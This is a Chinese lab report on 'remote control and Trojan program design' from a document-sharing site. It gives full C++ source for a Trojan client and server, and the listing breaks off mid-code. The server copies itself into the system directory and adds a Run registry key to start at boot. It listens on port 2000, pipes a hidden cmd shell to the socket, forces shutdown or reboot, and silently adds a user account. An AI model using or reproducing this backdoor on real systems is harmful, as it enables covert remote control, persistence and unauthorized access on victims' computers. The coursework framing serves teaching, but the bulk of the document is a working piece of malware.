![远程控制与木马程序设计_第1页](http://file4.renrendoc.com/view/381f396eab7fea5d81fd42fa3d8f464a/381f396eab7fea5d81fd42fa3d8f464a1.gif)
![远程控制与木马程序设计_第2页](http://file4.renrendoc.com/view/381f396eab7fea5d81fd42fa3d8f464a/381f396eab7fea5d81fd42fa3d8f464a2.gif)
![远程控制与木马程序设计_第3页](http://file4.renrendoc.com/view/381f396eab7fea5d81fd42fa3d8f464a/381f396eab7fea5d81fd42fa3d8f464a3.gif)
![远程控制与木马程序设计_第4页](http://file4.renrendoc.com/view/381f396eab7fea5d81fd42fa3d8f464a/381f396eab7fea5d81fd42fa3d8f464a4.gif)
![远程控制与木马程序设计_第5页](http://file4.renrendoc.com/view/381f396eab7fea5d81fd42fa3d8f464a/381f396eab7fea5d81fd42fa3d8f464a5.gif)
下载本文档
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
/试验题目远程限制和木马程序设计试验目的驾驭远程限制的一般原理和类型,实现利用网络scoket套接字完成计算机远程通信过程,学生深化理解和驾驭基于TCP/IP协议的网络通信概念、原理,以及网络客户机/服务器模型的结构概念。熟悉常用的WindowsAPI函数的用法,利用C++或VB语言实现木马程序的设计。试验条件和环境WindowsXPSP3MicrosoftVirtualC++试验方法(系统功能、结构设计,软件流程图等)利用Socket进行网络远程通信设计运用套接字Socket在两台计算机实现通信过程中,首先假设一台是服务端,另一台是客户端。服务端先启动,建立一个套接字Socket,并对相应的IP和端口进行绑定、监听;客户端也建立一个套接字Socket,并对其相应的IP和端口进行绑定,然后和服务端连接,待其相应后,双方可以实现远程通信。服务端流程如下:socket()->bind()->listen()->accept()->recv()/send()->closesocket()客户端流程如下:socket()->connect()->recv()/send()->closesocket()远程限制和木马程序远程限制事实上是包含有服务器端和客户端的一套程序服务器端程序驻留在目标计算机里,随着系统启动而自行启动。此外,运用传统技术的程序会在某端口进行监听,若接收到数据就对其进行识别,然后依据识别后的叮嘱在目标计算机上执行一些操作(比如窃取口令,拷贝或删除文件,或重启计算机等)。攻击者一般在入侵成功后,将服务端程序拷贝到目标计算机中,并设法使其运行,从而留下后门。日后,攻击者就能够通过运行客户端程序,来对目标计算机进行操作。总体流程:通过C/S运行模式并结合进程和匿名管道技术来实现的,主体分为两部分:即客户端和服务端木马程序。其原理为服务端程序在目标计算机中接受自动运行模式,并打开2000端口进行监听,当客户端向服务端主动提出连接请求,服务端木马程序就会自动运行,来应答客户端的请求,从而建立连接,服务段木马程序依据客户端的指令而执行相应的操作。软件流程图:试验结果及结论附录:程序清单及说明客户端程序:#include<stdio.h> //包含标准输入输出库#include<winsock.h> //包含windows套接字函数#pragmacomment(lib,"Ws2_32")//将注释wsock32放置到lib文件中,否则须要加载#defineMAXSIZE2048 //每次可以接收的最大字节#defineSEND_PORT2000//和木马程序连接的端口为2000structsockaddr_inClientAddr; //对方的地址端口信息SOCKETsock; //定义套接字变量,为全局变量DWORDstartSock()//建立套接字功能模块{WSADATAWSAData;//将WSAData的数据类型声明为WSADATA if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0) { //MAKEWORD(2,2)预定义Winsock版本,初始化套接字 printf("sockinitfail"); return(-1); } sock=socket(AF_INET,SOCK_STREAM,0); //连接对方return1;}intmain(intargc,char*argv[]){u_intnumbyte;charbuf[MAXSIZE];//传送数据的缓冲区 if(argc!=2) { //须要有服务端ip参数,格式:client.exeIP地址 fprintf(stderr,"usage:clienthostname\n"); exit(1); } startSock();//调用建立套接字功能函数 ClientAddr.sin_family=AF_INET; //协议类型是INET ClientAddr.sin_port=htons(SEND_PORT); //连接对方2000端口 ClientAddr.sin_addr.s_addr=inet_addr(argv[1]); //连接对方的IP地址 connect(sock,(structsockaddr*)&ClientAddr,sizeof(structsockaddr));printf("远程限制木马程序菜单\r\n");printf("test --检测连接\r\n");printf("add --建立Windowsxp系统的隐私帐号\r\n");printf("shutdownxp --关闭Windowsxp计算机\r\n");printf("resetxp --重新启动Windowsxp计算机\r\n");printf("close --关闭光驱\r\n");printf("open --打开光驱\r\n");printf("sell --建立cmd进程\r\n");printf("OSVersion --显示系统版本\r\n");printf("\r\n"); numbyte=recv(sock,buf,MAXSIZE,0);//接收服务端发来的提示符 if(numbyte==SOCKET_ERROR) { closesocket(sock); } buf[numbyte]='\0'; printf("%s",buf);//显示服务端发来的提示符 if(strcmp(buf,"quit")==0) { closesocket(sock); return0; } while(1) { buf[0]='\0'; scanf("%s",buf);//输入限制指令 intiLen=strlen(buf); buf[iLen]=0xa; buf[iLen+1]='\0';//要求限制指令串最终为回车符,以示结束 numbyte=send(sock,buf,strlen(buf),0);//发出限制指令 if(numbyte==SOCKET_ERROR) { closesocket(sock); break; } numbyte=recv(sock,buf,MAXSIZE,0);//接收服务端发来的提示符 if(numbyte==SOCKET_ERROR) { closesocket(sock); break; } buf[numbyte]='\0'; printf("%s",buf);//显示服务端发来的提示符 if(strcmp(buf,"quit")==0) { closesocket(sock);return0; } } return0;}服务器程序:#include<winsock2.h>//包含windows套接字函数#include<stdio.h>//包含标准输入输出函数#include<mmsystem.h>//光驱限制函数mciSendString()所需的头文件#include<iostream.h>//包含C++系统输入输出函数#include<string.h>//包含字符串处理函数#include<winuser.h>//WinExec()函数所需的头文件#pragmacomment(lib,"Ws2_32")//将注释wsock32放置到lib文件中,否则须要加载#pragmacomment(lib,"Winmm.lib")//光驱限制函数mciSendString()所需的库#defineRECV_PORT2000//木马服务端对外响应的端口#definePATH200//程序自启动的最大路径SOCKETsock1,sock2;//sock1为服务端程序自身建立的套接字//sock2为服务端和客户端建立响应后的套接字intg1;charBuff[1024],cmd[1024];//缓冲区DWORDstartSock()//建立套接字功能模块{WSADATAWSAData;//将WSAData的数据类型声明为WSADATA if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0) { //MAKEWORD(2,2)预定义Winsock版本,初始化套接字 printf("sockinitfail"); return(-1); }sock1=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); //建立套接字,为TCP/IP、流式格式 structsockaddr_inserverAddr;//保存套接字地址的结构体 serverAddr.sin_family=AF_INET;//规定运用IPv4协议 serverAddr.sin_port=htons(RECV_PORT);//响应端口 serverAddr.sin_addr.s_addr=ADDR_ANY; //建立IP地址,ADDR_ANY可运用随意IP地址连接 g1=bind(sock1,(sockaddr*)&serverAddr,sizeof(serverAddr));//绑定端口和套接字 g1=listen(sock1,5);//等待监听,最大可接受5个连接请求intserverAddrSize=sizeof(serverAddr); sock2=accept(sock1,(sockaddr*)&serverAddr,&serverAddrSize); //假如客户请求2000端口,接受连接,并返回sock2套接字return1;}intcmdshell(SOCKETsock)//建立cmd进程功能模块{ STARTUPINFOstartinfo;//限制进程的主窗口的显示方式 ZeroMemory(&startinfo,sizeof(startinfo)); startinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;//确定本结构的每一个成员是否起作用 startinfo.wShowWindow=SW_HIDE;//窗口显示模式,隐藏格式 startinfo.hStdInput=startinfo.hStdOutput=startinfo.hStdError=(void*)sock;//标准输入输出管道 charcmdsystem[]="cmd";//cmd进程 PROCESS_INFORMATIONProcessInformation;//指向进程信息结构的指针 intg2; //下面为建立进程过程 g2=CreateProcess(NULL,cmdsystem,NULL,NULL,1,0,NULL,NULL,&startinfo,&ProcessInformation);//建立一个cmd.exe进程和相应的输入输出管道 WaitForSingleObject(ProcessInformation.hProcess,INFINITE);//等待子进程退出 TerminateProcess(ProcessInformation.hProcess,0); //在一个子进程中强制结束其他的进程 CloseHandle(ProcessInformation.hProcess);//关闭子进程句柄 return1;}DWORDstartExeFile()//自启动程序功能模块{charExeFile[PATH];//木马程序缓冲区 charTempPath[PATH];//系统书目缓冲区 intg3; GetModuleFileName(NULL,ExeFile,PATH);//得到当前文件名 GetSystemDirectory(TempPath,PATH); //得到系统书目 strcat(TempPath,"\\server.exe");//拷贝到系统文件夹名为server.exe g3=CopyFile(ExeFile,TempPath,FALSE); HKEYkey;//关键字句柄 if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,&key)==ERROR_SUCCESS) {//创建和打开一个关键字 RegSetValueEx(key,"server",0,REG_SZ,(BYTE*)TempPath,lstrlen(TempPath));//在RUN键下建立一个server键,为该木马的路径 RegCloseKey(key);//关闭并保存 } return1;}DWORDOpen_CDROM()//打开光驱程序功能模块{mciSendString("setcdaudiodooropen",NULL,0,NULL); //多媒体限制函数return1;}DWORDClose_CDROM()//关闭光驱程序功能模块{mciSendString("Setcdaudiodoorclosedwait",NULL,1,NULL);//多媒体限制函数return1;}DWORDshutdownwinxp()//关闭Winxp程序功能模块{HANDLE hToken;TOKEN_PRIVILEGES tkp; //Windows2K中须要设置调用进程的权限,当获得该权限后才能关闭计算机的操作 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken); LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tkp.PrivilegeCount=1;//设置一个权限 tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0); ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0);return1;}DWORDresetwinxp()//重新启动Winxp程序功能模块{HANDLE hToken;TOKEN_PRIVILEGES tkp;//Windowsxp系列,须要设置调用进程的权限,获得权限才能进行重新启动计算机的操作OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken);LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);tkp.PrivilegeCount=1;//设置一个权限tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0);return1;}DWORDadduser()//建立隐私帐号程序功能模块{WinExec("netuserxxdk111/add",SW_HIDE);//建立隐私帐号return1;}DWORDGetOSVersion(){ OSVERSIONINFOOS; //操作系统版本信息的数据结构 OS.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(&OS); //获得操作系统版本信息 switch(OS.dwPlatformId) //依据dwPlatformId参数的值来推断操作系统的版本 { caseVER_PLATFORM_WIN32_WINDOWS: send(sock2,"Windows9xOK\n\rcmd>",sizeof("Windows9xOK\n\rcmd>"),0);return1; caseVER_PLATFORM_WIN32_NT: send(sock2,"WindowsXPOK\n\rcmd>",sizeof("WindowsXPOK\n\rcmd>"),0);return1; return1; }}//下面为主函数,通过调用各个功能模块来实现木马功能intmain(){ startExeFile();// startSock(); unsignedlongByteRead=0; send(sock2,"欢迎进入木马远程限制系统,请输入你的选择!\n\rcmd>",sizeof("欢迎进入木马远程限制系统,请输入你的选择!\n\rcmd>"),0); while(1) { ZeroMemory(cmd,1024);//初始化cmd[]缓冲区,用来装客户端发来的指令 ByteRead=0;//接收客户端发来的指令字节数 while(ByteRead<200)//下面是接收客户端发来限制字程序段 { if(recv(sock2,Buff,1,0)==SOCKET_ERROR)//限制字在Buff缓冲区中 { closesocket(sock2); return0; } cmd[ByteRead]=Buff[0]; if(Buff[0]==0xa||Buff[0]==0xd) {//假如限制字最终是回车符表示结束标记,cmd[]数组最终一位为0 cmd[ByteRead]=0; break; } ByteRead++;//指令字节计数 } if(strcmp(cmd,"open")==0) { Open_CDROM();//调用打开光驱模块程序 send(sock2,"OK\n\rcmd>",sizeof("OK\n\rcmd>"),0); } elseif(strcmp(cmd,"close")==0) { Close_CDROM(); //调用关闭光驱模块程序 send(sock2,"OK\n\rcmd>",sizeof("OK\n\rcmd>"),0); } elseif(strcmp(cmd,"test")==0) { send(sock2,"OK!\n\rcmd>",sizeof("OK!\n\rcmd>"),0); } elseif(strcmp(cmd,"shell")==0) { cm
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2024年七年级数学下册 第6章 二元一次方程组6.2 二元一次方程组的解法 2用代入法解没有未知数系数为1的二元一次方程组教学设计(新版)冀教版
- 《第3节 信息技术的发展与趋势》教学设计 -2023-2024学年北师大版初中信息技术七年级上册
- 可转债信用风险未平REITs关注中报及新券
- 七年级数学上册-6.3 实数 解析版
- 中国联通新苗计划招聘笔试真题2023
- 码头扩建工程施工测量
- 泉州晋江市中医院招聘笔试真题2023
- 七年级数学上册数学 2.1 正数和负数(四大题型)(解析版)
- 结构力学优化算法:粒子群优化(PSO):粒子群优化算法原理与应用
- 08-X射线内应力测定解析
- 建筑模数(建筑构造)
- 水利建设项目策划
- 《课53景观设计》课件
- 2024年江苏无锡市锡山文商旅发展有限公司招聘笔试参考题库含答案解析
- 中医针灸培训资料课件
- 武术比赛活动方案
- 2023年陕西省高中学业水平考试样卷地理试卷试题(含答案详解)
- 集体协商培训课件
- 田野调查教学大纲
- 中小学语文表现性评价:学理、技术与案例
- 总包管理对专业分包工程的配合、协调、管理、服务方案
评论
0/150
提交评论